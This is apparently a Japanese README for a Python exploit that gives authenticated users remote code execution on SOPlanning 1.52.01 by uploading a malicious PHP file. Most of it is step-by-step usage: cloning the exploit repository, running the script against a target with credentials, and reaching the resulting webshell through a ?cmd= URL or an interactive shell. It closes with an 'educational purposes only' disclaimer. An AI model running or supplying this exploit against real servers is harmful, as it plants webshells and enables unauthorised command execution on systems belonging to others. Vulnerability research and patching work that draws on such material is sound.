SOPlanning 1.52.01 - リモートコード実行（RCE）（認証済み）

エクスプロイトの詳細

• エクスプロイトタイトル: SOPlanning 1.52.01（シンプルオンラインプランニングツール）- リモートコード実行（RCE）（認証済み）
• 日付: 2024年10月6日
• エクスプロイト作成者: Ardayfio Samuel Nii Aryee
• バージョン: 1.52.01
• テスト環境: Ubuntu

説明

このリポジトリには、SOPlanning バージョン 1.52.01 のリモートコード実行（RCE）脆弱性に対するエクスプロイトが含まれています。このエクスプロイトにより、認証済みユーザーが悪意のある PHP ファイルをアップロードし、サーバー上で任意のコマンドを実行できます。

使用方法

前提条件

• Python 3.x
• requests ライブラリ（pip install requests でインストール）

エクスプロイトの手順

1. このリポジトリをクローンします：

   root@kitploit:~

   git clone https://github.com/TheExploiters/SOPlanning-RCE-1.52.01.git
   cd SOPlanning-RCE-1.52.01
   

2. エクスプロイトスクリプトを実行します：

   root@kitploit:~

   python3 SOPlanning-1.52.01-RCE-Exploit.py -t <target> -u <user> -p <pass>
   

   http://example.com:9090 をターゲット URL に、admin をユーザー名に、admin をパスワードに置き換えてください。

3. 実行が成功したら、ウェブシェルにアクセスします：

   root@kitploit:~

   Access webshell here: http://example.com/upload/files/{link_id}/{php_filename}?cmd=<command>
   

4. 対話型シェルを使用するには、プロンプトが表示されたら yes と応答します。

コマンド例

python3 SOPlanning-1.52.01-RCE-Exploit.py -t <target> -u <user> -p <pass>

免責事項

このエクスプロイトは Ardayfio Samuel Nii Aryee によって作成され、教育目的のみで提供されています。作成者およびリポジトリ所有者は、誤用や損害について一切の責任を負いません。このエクスプロイトをシステムでテストする前に、明示的な許可を得ていることを確認してください。